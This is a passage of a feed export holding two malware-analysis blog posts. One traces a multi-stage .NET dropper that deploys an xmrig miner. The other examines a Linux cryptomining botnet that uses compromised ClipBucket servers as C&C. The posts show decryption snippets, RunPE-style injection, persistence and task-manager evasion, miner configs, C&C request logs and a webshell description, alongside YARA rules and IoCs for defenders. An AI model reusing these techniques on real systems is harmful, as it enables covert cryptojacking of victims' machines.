with a specific xor key, in this case, its the value "UUeoCoipGuVc"&#10;&lt;pre&gt;internal class Program&#10;{&#10;private static byte[] XOR(byte[] bytes)&#10;{&#10; byte[] bytes2 = Encoding.Unicode.GetBytes(Program.XorString);&#10; for (int i = 0; i &amp;lt; bytes.Length; i++)&#10; {&#10; int num = i;&#10; bytes[num] ^= bytes2[i % 16];&#10; }&#10; return bytes;&#10;}&#10;&lt;/pre&gt;&#10;When the payload is "finally" created, the assembly object is loaded into a thread.&#10;&lt;pre&gt;Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader)); &#10;thread.Start();&lt;/pre&gt;&#10;&lt;h2&gt;Third Stage&lt;/h2&gt;&#10;So if you believe that everything is done. Well, unfortunately, you are very wrong ! This is packed/obfuscated... again!&#10;&#10;&lt;img class="aligncenter size-full wp-image-171" src="https://fumik0.com/wp-content/uploads/2018/05/miner-throw.webp" alt="So at the end, you are here..." width="500" height="289" loading="lazy" decoding="async" /&gt;&#10;&#10;Without entering into some madness to understand the code, I note that there are three files right now in the resource folder.&#10;&#10;&lt;img class="alignnone size-full wp-image-176" src="https://fumik0.com/wp-content/uploads/2018/05/miner-resources.webp" alt="So at the end, you are here..." width="886" height="193" loading="lazy" decoding="async" /&gt;&#10;&#10;Two of them are XOR encrypted payloads and one is a text file with Base64 encoded strings. When we look into the "shitty" code to understand what is the purpose of the text file, this is in fact, a Manifest Resource Stream, a content that is embedded in the assembly at compile time. With some lines of python code, let's see what we have when everything is decoded :&#10;&lt;pre class="p1"&gt;&lt;span class="s1"&gt; =&amp;gt; python3 manifest.py &lt;/span&gt;&#10;...&#10;&lt;span class="s1"&gt;'RSRCNAME'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'RSRCPWD'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'Dotwall Evaluation'&lt;/span&gt;&lt;/pre&gt;&#10;The last entry is pretty interesting because it shows us that this stage is in fact packed with Dotwall, a .NET obfuscator that is not available on the public on this day (or it looks like).&#10;&lt;h3&gt;So what is the goal of this stage?&lt;/h3&gt;&#10;First, it copies the first stage on the main user directory and keeps the new path into memory for future purposes. Then delete the alternate stream name Zone.Identifier of this file, so it permits here, to erase its traces to confirm this malware was downloaded from the outside network.&#10;&#10;Then it sets a persistence trick with an Internet Shortcut file created on Windows startup menu named "rTErod.url"', which could probably explain why the Zone.Identifier task was done above.&#10;&lt;pre&gt;[InternetShortcut]&#10;URL=file:///C:/Users/user/bsdsjdpjcqdpcdq.exe&lt;/pre&gt;&#10;Then, it searches if the visual basic compiler is present on the machine, and inject the resource "rWyMgsOzOKRu" into it. To simplify the way how the program decrypts this file, with all the interaction of different classes and the manifest that leads us to hundreds line of code, I could summarize this with just 10 lines of C# source code.&#10;&lt;pre&gt;&lt;span class="s1"&gt;byte&lt;/span&gt;[] buffer = File.ReadAllBytes(&lt;span class="s2"&gt;"xplACLWqdLvY"&lt;/span&gt;); // Xor Key &#10;&lt;span class="s1"&gt;byte&lt;/span&gt;[] bytes = Encoding.Unicode.GetBytes(&lt;span class="s2"&gt;"rWyMgsOzOKRu"&lt;/span&gt;); // Encrypted Payload&#10;&lt;span class="s1"&gt;&#10;for (int i = 0; i &amp;lt; buffer.Length; i++) {&#10;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;buffer[i] ^= bytes[i % 16];&#10;}&#10;&#10;using (var decrypted = new FileStream("decrypted_resource.exe", FileMode.Create, FileAccess.Write)) {&#10;&lt;span class="Apple-converted-space"&gt; decrypted&lt;/span&gt;.Write(bytes, 0, byteArray.Length);&#10;}&lt;/span&gt;&lt;span class="Apple-converted-space"&gt; &#10;&lt;/span&gt;&lt;/pre&gt;&#10;this Assembly is named "adderalldll" and remains to Adderall Protector.&#10;&#10;&lt;img class="alignnone size-full wp-image-183" src="https://fumik0.com/wp-content/uploads/2018/05/miner-adderall-dll.webp" alt="So at the end, you are here..." width="862" height="106" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;img class=" size-full wp-image-195 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/05/miner-adderall-logo.webp" alt="So at the end, you are here..." width="638" height="163" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;img class="alignnone size-full wp-image-192" src="https://fumik0.com/wp-content/uploads/2018/05/miner-adderall-topics.webp" alt="So at the end, you are here..." width="1106" height="437" loading="lazy" decoding="async" /&gt;&#10;&#10;After some cleaning, this tool is called by using some reflection.  The run() method of the new Object class (Adderall) is invoked with some additional arguments in entries:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;@"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"&lt;/li&gt;&#10;&#9;&lt;li&gt;""&lt;/li&gt;&#10;&#9;&lt;li&gt;DecryptPayload(cryptedResource) // &amp;lt;= Our Final Unpacked Malware&lt;/li&gt;&#10;&#9;&lt;li&gt;true&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;pre&gt;Type Adderall_resource = exportedTypes[pos];&#10;object Adderall = Activator.CreateInstance(Adderall_resource);&#10;vbcPath = @"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe";&#10;&#10;Adderall_resource.InvokeMember("run", BindingFlags.InvokeMethod, null, Adderall, new object[] {&#10; vbcPath, &#10; "", &#10; DecryptPayload(cryptedResource), &#10; true &#10;});&lt;/pre&gt;&#10;&lt;h2&gt;Fourth Stage&lt;/h2&gt;&#10;So what we have into the adderall.dll? Well... This is obfuscated with Dotwall and It looks like there are no embedded payload resources, just the manifest stream file. It means that we are very close to our final miner malware!&#10;&#10;&lt;img class="alignnone size-full wp-image-185" src="https://fumik0.com/wp-content/uploads/2018/05/miner-adderall-rsrc.webp" alt="So at the end, you are here..." width="881" height="219" loading="lazy" decoding="async" /&gt;&#10;&#10;So let's see what we have again on the decoded Manifest :&#10;&lt;pre class="p1"&gt;&lt;span class="s1"&gt;=&amp;gt; python3 manifest.py &lt;/span&gt;&#10;...&#10;&lt;span class="s1"&gt;'kernel32'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'CreateProcessA'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'kernel32'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'GetThreadContext'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'kernel32'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'Wow64GetThreadContext'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'kernel32'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'SetThreadContext'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'kernel32'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'Wow64SetThreadContext'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'kernel32'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'ReadProcessMemory'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'kernel32'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'WriteProcessMemory'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'ntdll'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'NtUnmapViewOfSection'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'kernel32'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'VirtualAllocEx'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'kernel32'&lt;/span&gt;&#10;&lt;span class="s1"&gt;'ResumeThread'&lt;/span&gt;&#10;...&#10;&lt;span class="s1"&gt;'Dotwall Evaluation'&lt;/span&gt;&lt;/pre&gt;&#10;Typically, we understand that the goal here its execute some process injection and the process vbc.exe will host the malware.&#10;&lt;h2&gt;Fifth Stage&lt;/h2&gt;&#10;So now, that our miner is finally deployed, let's do some analysis on it. The first thing that we see here is that this one is developed in C/C++.&#10;&#10;The malware is checking if it's running on 32 or 64 bits with the help of IsWow64Process and will decide where it will do some process injection:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;If it's 32 bits, the miner will be behind wuapp.exe&lt;/li&gt;&#10;&#9;&lt;li&gt;If it's 64 bits, the miner will be behind notepad.exe&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-197" src="https://fumik0.com/wp-content/uploads/2018/05/miner-process-choice.webp" alt="So at the end, you are here..." width="1350" height="583" loading="lazy" decoding="async" /&gt;&#10;&#10;As below, this is an example of a process injection of notepad.exe behind Winrar.exe, a child process of explorer.exe&#10;&lt;h4&gt;&lt;img class="alignnone size-full wp-image-201" src="https://fumik0.com/wp-content/uploads/2018/05/miner-process-injection.webp" alt="Process Injection" width="1292" height="211" loading="lazy" decoding="async" /&gt;&lt;/h4&gt;&#10;It looks like that we have here an xmrig miner at reading the command line if we check directly on the help display, its identical.&#10;&lt;pre&gt;&lt;code&gt; -a, --algo=ALGO cryptonight (default) or cryptonight-lite&#10; -o, --url=URL URL of mining server&#10; -O, --userpass=U:P username:password pair for mining server&#10; -u, --user=USERNAME username for mining server&#10; -p, --pass=PASSWORD password for mining server&#10; -t, --threads=N number of miner threads&#10;...&#10; -c, --config=FILE load a JSON-format configuration file&#10;...&lt;/code&gt;&lt;/pre&gt;&#10;To confirm if it's this specific miner, let's dump memory on base address 0x400000 :&#10;&#10;&lt;img class="alignnone size-full wp-image-202" src="https://fumik0.com/wp-content/uploads/2018/05/notepad-miner.webp" alt="So at the end, you are here..." width="729" height="518" loading="lazy" decoding="async" /&gt;&#10;&#10;Our PE header is erased and compressed with UPX&#10;&#10;&lt;img class="alignnone size-full wp-image-204" src="https://fumik0.com/wp-content/uploads/2018/05/miner-upx-xmrig.webp" alt="So at the end, you are here..." width="623" height="342" loading="lazy" decoding="async" /&gt;&#10;&#10;...and with a quick search, our xmrig miner is right here :)&#10;&#10;&lt;img class="alignnone size-full wp-image-203" src="https://fumik0.com/wp-content/uploads/2018/05/miner-xmrig.webp" alt="So at the end, you are here..." width="658" height="357" loading="lazy" decoding="async" /&gt;&#10;&lt;h4&gt;Miner config Setup&lt;/h4&gt;&#10;The malware is generating a specific xmrig config file for the victim machine. First, it pushed the miner pool and the user account.&#10;&#10;&lt;img class=" size-full wp-image-156 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/04/miner-xmrig.webp" alt="xmrig" width="511" height="400" loading="lazy" decoding="async" /&gt;&#10;Then, the typical xmrig config file is generated and saved into two files "cfg" and cfgi".&#10;&#10;&lt;img class="alignnone size-full wp-image-191" src="https://fumik0.com/wp-content/uploads/2018/05/miner-config-file.webp" alt="So at the end, you are here..." width="868" height="487" loading="lazy" decoding="async" /&gt;&#10;&#10;In this example, the output config file is this :&#10;&lt;pre&gt;{{ "algo": "cryptonight", "background": false, "colors": true, "retries": 5, "retry-pause": 5, "syslog": false, "print-time": 60, "av": 0, "safe": false, "cpu-priority": null, "cpu-affinity": null, "threads": 1, "pools": [ { "url": "xmr.pool.minergate.com:45560", "user": "todipacrypto@protonmail.com", "pass": "x", "keepalive": false, "nicehash": false } ], "api": { "port": 0, "access-token": null, "worker-id": null }}&lt;/pre&gt;&#10;&lt;h4&gt;Persistence&lt;/h4&gt;&#10;Another persistence is also added at this step, a registry key is created and this entry is periodically checked.&#10;&#10;&lt;img class=" size-full wp-image-148 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/04/miner-registry.webp" alt="registry" width="656" height="443" loading="lazy" decoding="async" /&gt;&#10;&#10;The executable file linked with the registry is in the same folder with the miner configurations and this is a legit vbc.exe process :)&#10;&#10;&lt;figure&gt;&lt;img class=" size-full wp-image-208 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/05/miner-appdata.webp" alt="appdata" width="621" height="174" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;So at the end, you are here...&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;h4&gt;&lt;img class=" size-full wp-image-223 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/05/miner-legit-vbc.webp" alt="Screenshot: Legit vbc" width="473" height="452" loading="lazy" decoding="async" /&gt;&lt;/h4&gt;&#10;&lt;h4&gt;Hiding Method&lt;/h4&gt;&#10;This malware checks if the task manager is launched.&#10;&#10;&lt;img class=" size-full wp-image-154 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/04/miner-find-task-mgr-exe.webp" alt="FindTaskMgrExe" width="606" height="210" loading="lazy" decoding="async" /&gt;&#10;&#10;if it matches, it will shutdown notepad.exe process, if the miner is currently executed. Then, the miner will not restart it again as long as taskmgr is still opened.&#10;&#10;&lt;img class=" size-full wp-image-189 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/05/miner-kill-notepad.webp" alt="Screenshot: Kill notepad" width="606" height="288" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Summary&lt;/h2&gt;&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;We have an executable who compiled and injected itself a DLL&lt;/li&gt;&#10;&#9;&lt;li&gt;This DLL deploys another executable which was behind a fake PNG file and was also injected into the first payload&lt;/li&gt;&#10;&#9;&lt;li&gt;In this program, a DLL named Adderall is Invoked, this permits to deploy the unpacked malware into visual basic compiler with the help of RunPE&lt;/li&gt;&#10;&#9;&lt;li&gt;Our final malware will set up a miner config and injects xmrig into a notepad.exe or wuapp.exe (according to a 32 or 64 bits Operating System).&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;img class=" wp-image-179 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/05/miner-conspiracy-board-meme.webp" alt="Meme: a man gesturing wildly at a wall of papers linked by red string" width="520" height="390" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Yara rules&lt;/h2&gt;&#10;Xmrig Miner Malware&#10;&lt;pre&gt;rule XmrigMinerMalware {&#10; meta:&#10; description = "Xmrig Miner Malware"&#10; author = "Fumik0_"&#10; date = "2018/05/13"&#10; strings:&#10; $mz = "MZ"&#10;&#10; $s1 = "\\cfg" wide ascii&#10; $s2 = "\\cfgi" wide ascii&#10; $s3 = "\\notepad.exe" wide ascii&#10; $s4 = "\\wuapp.exe" wide ascii&#10; $s5 = "--show-window" wide ascii&#10; $s6 = "taskmgr.exe" wide ascii&#10; $s7 = "Miner" wide ascii&#10; condition:&#10; $mz at 0 and all of ($s*) &#10;}&lt;/pre&gt;&#10;Adderall Protector&#10;&lt;pre&gt;rule Adderall {&#10; meta:&#10; description = "Adderall Protector"&#10; author = "Fumik0_"&#10; date = "2018/05/13"&#10; strings:&#10; $mz = "MZ"&#10;&#10; $n1 = "#Blob" wide ascii&#10; $n2 = "#GUID" wide ascii&#10; $n3 = "#Strings" wide ascii&#10;&#10; $s1 = "adderalldll" wide ascii&#10; condition:&#10; $mz at 0 and (all of ($n*) and $s1)&#10;}&lt;/pre&gt;&#10;Dotwall Obfuscator&#10;&lt;pre&gt;rule DotWall {&#10; meta:&#10; description = "Dotwall Obfuscator"&#10; author = "Fumik0_"&#10; date = "2018/05/13"&#10; strings:&#10; $mz = "MZ"&#10;&#10; $n1 = "#Blob" wide ascii&#10; $n2 = "#GUID" wide ascii&#10; $n3 = "#Strings" wide ascii&#10;&#10; $s1 = "RG90d2Fsb" wide ascii&#10; condition:&#10; $mz at 0 and (&#10; all of ($n*) and $s1&#10; )&#10;}&lt;/pre&gt;&#10;&lt;h2&gt;IoC&lt;/h2&gt;&#10;todipacrypto@protomail.com _&#10;&#10;517AC5506A5488A1193686F66CB57AD3288C2258C510004EDB2F361B674526CC&#10;AA28AA381B935EB98A6B3DEC4C86E1570EF142B041DB4255445C52A81F57A02F&#10;40F5D5BBC054BA193B3D46BA1AE113AC9C9FCAFDDEC52CF02F82C4A22BF9F15F&#10;0C5FC323873FBE693C1FF860282F035AD447050F8EC37FF2E662D087A949DFC9&#10;7C23DA75BA54998363C4E278488F05588FB4E7D8201CCDAA870DD93F0328B911&#10;BECDCC441E29D518D2258F0718000EBD0848ADB4CEFA00223F386A91FDB11677&#10;&lt;h2&gt;Conclusion&lt;/h2&gt;&#10;This miner was pretty cool to reverse for using differents techniques. Good time (and some headaches) to explain and understand the different tasks.&#10;&#10;&lt;img class=" size-full wp-image-100 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/03/miner-happy-hunting.webp" alt="Happy Hunting" width="540" height="304" loading="lazy" decoding="async" /&gt;&#10;&#10;Happy Hunting!&#10;</description></item><item><title>Inside one xmrig botnet miner</title><link>https://fumik0.com/2018/01/24/inside-one-xmrig-botnet-miner/</link><pubDate>Wed, 24 Jan 2018 15:12:42 +0000</pubDate><guid>https://fumik0.com/2018/01/24/inside-one-xmrig-botnet-miner/</guid><description>&lt;em&gt;This post is an extension of this &lt;a href="https://isc.sans.edu/forums/diary/A+Story+About+PeopleSoft+How+to+Make+250k+Without+Leaving+Home/23209/"&gt;article&lt;/a&gt;. &lt;/em&gt;&#10;&lt;h2&gt;I - Introduction&lt;/h2&gt;&#10;&lt;p style="text-align: left;"&gt;At the beginning of this year, after some daily IoC Feeds. I was interested in one Linux sample on &lt;a href="https://www.hybrid-analysis.com/sample/613f12eaf19544a8692c34b8cd1f19086fd4e9d54d90a707ea5afc0ac6ebb7ea?environmentId=300"&gt;hybrid-analysis&lt;/a&gt; for two reasons :&lt;/p&gt;&#10;&#10;&lt;ul&gt;&#10;&#9;&lt;li style="text-align: left;"&gt;First, it's quite rare to see some stuff like this on public feeds.&lt;/li&gt;&#10;&#9;&lt;li style="text-align: left;"&gt;Secondly,  the POST requests were basics but it changed from what I read every day.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;pre&gt;&lt;strong&gt;GET&lt;/strong&gt; /includes/libraries/files.tar.gz&#10;&lt;strong&gt;POST&lt;/strong&gt; /includes/libraries/notify.php?p=wl&lt;/pre&gt;&#10;So by curiosity,  I checked if there's some additional information, and realized that was an open directory with interesting things.&#10;&lt;p style="text-align: justify;"&gt;&lt;img class=" size-full wp-image-51 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-mining.webp" alt="Mining" width="575" height="244" loading="lazy" decoding="async" /&gt;&lt;/p&gt;&#10;At this moment, this meme summarizes my reaction :&#10;&#10;&lt;img class=" wp-image-56 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-leonardo.webp" alt="leonardo" width="470" height="281" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;II - Botnet Architecture&lt;/h2&gt;&#10;&lt;h3&gt;A ) How C&amp;amp;C are chosen?&lt;/h3&gt;&#10;&lt;p style="text-align: justify;"&gt;First of all, our attacker needs to find a server to host his configuration. After some quick search of the different campaigns, C&amp;amp;C are in reality vulnerable servers with &lt;a href="https://clipbucket.com/"&gt;ClipBucket&lt;/a&gt; installed. Exploit is only designed to setup the server for further activities.&lt;/p&gt;&#10;&lt;p style="text-align: justify;"&gt;The first step of his setup is stored on &lt;strong&gt;&lt;span&gt;&lt;em&gt;/cache/&lt;/em&gt;&lt;/span&gt;&lt;/strong&gt; repository. There is some interesting data like a PHP file named "&lt;strong&gt;cookie.php&lt;/strong&gt;". It's a simple webshell designed to appear if we put the parameter "&lt;strong&gt;tooeasy&lt;/strong&gt;", I guess its some hacking fantasy  &lt;strong&gt;¯\_(ツ)_/¯ , &lt;/strong&gt;so for fun, I decided to call this miner botnet "tooeasy".&lt;/p&gt;&#10;&amp;nbsp;&#10;&#10;&lt;img class=" size-full wp-image-70 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-webshell.webp" alt="webshell" width="349" height="73" loading="lazy" decoding="async" /&gt;&#10;&#10;Another funny thing, the attacker puts "&lt;strong&gt;xmrig&lt;/strong&gt;", the Monero miner on it!  It means even the C&amp;amp;C is used to mine for the attacker, It's really greedy and risky to be spotted by the administrator of the server.  When everything is done, the configuration to spread the miner is pushed on &lt;strong&gt;&lt;span&gt;/include/librairies/ &lt;/span&gt;&lt;/strong&gt;&lt;span&gt;repository.&lt;/span&gt;&#10;&lt;h3&gt;B ) Configuration&lt;/h3&gt;&#10;As shown above, there are only 5 files to spread and monitor the botnet :&#10;&lt;h4&gt;&lt;span style="text-decoration: underline;"&gt;1 - manager.sh&lt;/span&gt;&lt;/h4&gt;&#10;This shell script is the most critical file of the botnet, without it, nothing could work perfectly. It permits to push on the infected machine the miner, notify the C&amp;amp;C that everything is working or not.&#10;&#10;I will not explain all technical interaction of it because it is already explained in the &lt;a href="https://isc.sans.edu/forums/diary/A+Story+About+PeopleSoft+How+to+Make+250k+Without+Leaving+Home/23209/"&gt;other article&lt;/a&gt;.&#10;&lt;h4&gt;&lt;span style="text-decoration: underline;"&gt;2 - files.tar.gz&lt;/span&gt;&lt;/h4&gt;&#10;This archive pushed on the victim server is composed of two files :&#10;&lt;h4&gt;fs-manager&lt;/h4&gt;&#10;Our mysterious file is only working on x86-64 Architecture.&#10;&lt;pre&gt;file fs-manager &#10;fs-manager: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=559009c5c0b88e95225aab9ed30adb45e3c7e5ca, stripped&lt;/pre&gt;&#10;With just a simple string command, we can understand this is just in fact xmrig.&#10;&lt;pre&gt;strings fs-manager&#10;...&#10;Usage: xmrig [OPTIONS]&#10;Options:&#10; -a, --algo=ALGO cryptonight (default) or cryptonight-lite&#10; -o, --url=URL URL of mining server&#10; -O, --userpass=U:P username:password pair for mining server&#10; -u, --user=USERNAME username for mining server&#10; -p, --pass=PASSWORD password for mining server&#10; -t, --threads=N number of miner threads&#10; -v, --av=N algorithm variation, 0 auto select&#10; -k, --keepalive send keepalived for prevent timeout (need pool support)&#10; -r, --retries=N number of times to retry before switch to backup server (default: 5)&#10; -R, --retry-pause=N time to pause between retries (default: 5)&#10; --cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1&#10; --cpu-priority set process priority (0 idle, 2 normal to 5 highest)&#10; --no-huge-pages disable huge pages support&#10; --no-color disable colored output&#10; --donate-level=N donate level, default 5%% (5 minutes in 100 minutes)&#10; --user-agent set custom user-agent string for pool&#10; -B, --background run the miner in the background&#10; -c, --config=FILE load a JSON-format configuration file&#10; -l, --log-file=FILE log all output to a file&#10; -S, --syslog use system log for output messages&#10; --max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75)&#10; --safe safe adjust threads and av settings for current CPU&#10; --nicehash enable nicehash support&#10; --print-time=N print hashrate report every N seconds&#10; -h, --help display this help and exit&#10; -V, --version output version information and exit&#10;...&lt;/pre&gt;&#10;more information here : &lt;a href="https://www.virustotal.com/#/file/7153ac617df7aa6f911e361b1f0c8188ca5c142c6aaa8faa2a59b55e0b823c1c/community"&gt;VirusTotal&lt;/a&gt;&#10;&lt;h4&gt;config.json&lt;/h4&gt;&#10;Linked with fs-manager, it's the miner configuration file.&#10;&lt;pre&gt;{{ "algo": "cryptonight", "av": 0, "background": true, "colors": false, "cpu-affinity": null, "cpu-priority": null, "donate-level": 2, "log-file": "xmrig.log", "max-cpu-usage": 85, "print-time": 60, "retries": 2, "retry-pause": 3, "safe": false, "syslog": false, "threads": null, "pools": [ { "url": "pool-proxy.com:8080", "user": "user", "pass": "x", "keepalive": true, "nicehash": false } ]}&lt;/pre&gt;&#10;If you want some additional information, these linked as below could help :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://en.bitcoin.it/wiki/CryptoNight"&gt;https://en.bitcoin.it/wiki/CryptoNight&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://cryptonote.org/cns/cns008.txt"&gt;https://cryptonote.org/cns/cns008.txt&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4&gt;&lt;span style="text-decoration: underline;"&gt;3 - getsetup.php&lt;/span&gt;&lt;/h4&gt;&#10;when the attacker has the ability to have a shell on the infected machine, he makes a "curl" request with a specific argument to indicate which product he exploits :&#10;&lt;pre&gt;&lt;strong&gt;X.X.X.X&lt;/strong&gt; - - [DD/MM/YYYY:HH:MM:SS -????] "&lt;span style="color: #ff6600;"&gt;&lt;strong&gt;GET&lt;/strong&gt;&lt;/span&gt; /includes/libraries/getsetup.php?p=&lt;span style="color: #ff6600;"&gt;&lt;strong&gt;PP &lt;/strong&gt;&lt;/span&gt;HTTP/1.1" 200 2931 "-" "curl/X.XX.X"&lt;/pre&gt;&#10;getsetup.php is linked with manager.sh.&#10;&lt;h4&gt;&lt;span style="text-decoration: underline;"&gt;4 - notify.php&lt;/span&gt;&lt;/h4&gt;&#10;this file is used with a simple "curl" request to communicate with the C&amp;amp;C and permits to log the installation and the state of each infected machine. Also over the different campaigns, there is no evolution of it.&#10;&lt;pre&gt;$line = '['.date('Y-m-d H:i:s').']'.($product?'['.strtoupper($product).'] ':'').' '.$ip.' ## '.$msg."\n";&#10;&#10;$fp = fopen('log.txt', 'a');&#10;fputs($fp, $line);&#10;fclose($fp);&lt;/pre&gt;&#10;&lt;h4&gt;&lt;strong&gt;&lt;span style="text-decoration: underline;"&gt;5 - log.txt&lt;/span&gt;&lt;/strong&gt;&lt;/h4&gt;&#10;As explained just above, this file logged just everything about the activity of the botnet.&#10;&#10;&lt;img class="alignnone size-full wp-image-63" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-secondcampaign1.webp" alt="SecondCampaign" width="1059" height="213" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;B ) How victims are chosen?&lt;/h3&gt;&#10;All the victim are servers with a database hosted on it. Linux is the only operating system targeted by this botnet and with the description of the configuration detailed as above, this affects only the x86-64 Architecture.&#10;&#10;Most of the machines are, unfortunately, old unpatched servers with outdated versions of database products. Also, there is a lot of case with machines that were already infected before by other things like ransomware.&#10;&lt;h3&gt;&lt;img class="alignnone size-full wp-image-81" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-bitcoin1.webp" alt="Bitcoin" width="764" height="244" loading="lazy" decoding="async" /&gt;&lt;/h3&gt;&#10;Other point, victims are often using factory credentials or weak one for authentications. This simplifies some much the work for attackers.&#10;&#10;Also, most of the case he used the user account "CouchDB" to execute fs-manager.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://github.com/apache/couchdb/issues/1074"&gt;https://github.com/apache/couchdb/issues/1074&lt;/a&gt; (one case of a user complaining about a huge CPU usage with fs-manager)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;C ) How this botnet works?&lt;/h3&gt;&#10;&lt;img class="alignnone size-full wp-image-76" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-screenshot-2018-01-23.webp" alt="Screenshot: 2018-01-23 11-42-19" width="1193" height="744" loading="lazy" decoding="async" /&gt;&#10;&#10;1 - Attacker finds a WebServer with ClipBucket installed, this host will be his new C&amp;amp;C and pushed the configuration.&#10;2 - Attacker scan subnet by subnet to find vulnerable database servers and used a different kind of exploits to gain access to them.&#10;3 - When it's done, the victim requests to the C&amp;amp;C (with getsetup.php) and indicate with which product he was pwned, download and execute the shell script, installed the miner with a CRON table and send to the C&amp;amp;C if everything is ok (notify.php).&#10;&#10;&lt;span style="text-decoration: underline;"&gt;&lt;em&gt;On victim side :&lt;/em&gt;&lt;/span&gt;&#10;&lt;pre&gt;&lt;strong&gt;X.X.X.X&lt;/strong&gt; - - [DD/MM/YYYY:HH:MM:SS -????] "&lt;span style="color: #ff6600;"&gt;&lt;strong&gt;GET&lt;/strong&gt; &lt;/span&gt;/includes/libraries/getsetup.php?p=&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;PP&lt;/span&gt; &lt;/strong&gt;HTTP/1.1" 200 2931 "-" "curl/X.XX.X"&#10;&lt;strong&gt;X.X.X.X&lt;/strong&gt; - - [DD/MM/YYYY:HH:MM:SS -????] "&lt;span style="color: #ff6600;"&gt;&lt;strong&gt;POST&lt;/strong&gt; &lt;/span&gt;/includes/libraries/notify.php?p=&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;PP&lt;/span&gt; &lt;/strong&gt;HTTP/1.1" 200 2 "-" "curl/X.XX.X"&#10;&lt;strong&gt;X.X.X.X&lt;/strong&gt; - - [DD/MM/YYYY:HH:MM:SS -????] "&lt;span style="color: #ff6600;"&gt;&lt;strong&gt;POST&lt;/strong&gt; &lt;/span&gt;/includes/libraries/notify.php?p=&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;PP&lt;/span&gt; &lt;/strong&gt;HTTP/1.1" 200 2 "-" "curl/X.XX.X"&#10;&lt;strong&gt;X.X.X.X&lt;/strong&gt; - - [DD/MM/YYYY:HH:MM:SS -????] "&lt;span style="color: #ff6600;"&gt;&lt;strong&gt;POST&lt;/strong&gt; &lt;/span&gt;/includes/libraries/notify.php?p=&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;PP&lt;/span&gt; &lt;/strong&gt;HTTP/1.1" 200 2 "-" "curl/X.XX.X"&lt;/pre&gt;&#10;&lt;em&gt;&lt;span style="text-decoration: underline;"&gt;On C&amp;amp;C side :&lt;/span&gt;&lt;/em&gt;&#10;&lt;pre&gt;[DD/MM/YYYY:HH:MM:SS][&lt;span style="color: #ff0000;"&gt;&lt;b&gt;PP&lt;/b&gt;&lt;/span&gt;] &lt;strong&gt;X.X.X.X&lt;/strong&gt; ## Cron installed&#10;[DD/MM/YYYY:HH:MM:SS][&lt;span style="color: #ff0000;"&gt;&lt;b&gt;PP&lt;/b&gt;&lt;/span&gt;] &lt;strong&gt;X.X.X.X&lt;/strong&gt; ## fs-manager not found&#10;[DD/MM/YYYY:HH:MM:SS][&lt;span style="color: #ff0000;"&gt;&lt;b&gt;PP&lt;/b&gt;&lt;/span&gt;] &lt;strong&gt;X.X.X.X&lt;/strong&gt; ## Downloading files&#10;[DD/MM/YYYY:HH:MM:SS][&lt;span style="color: 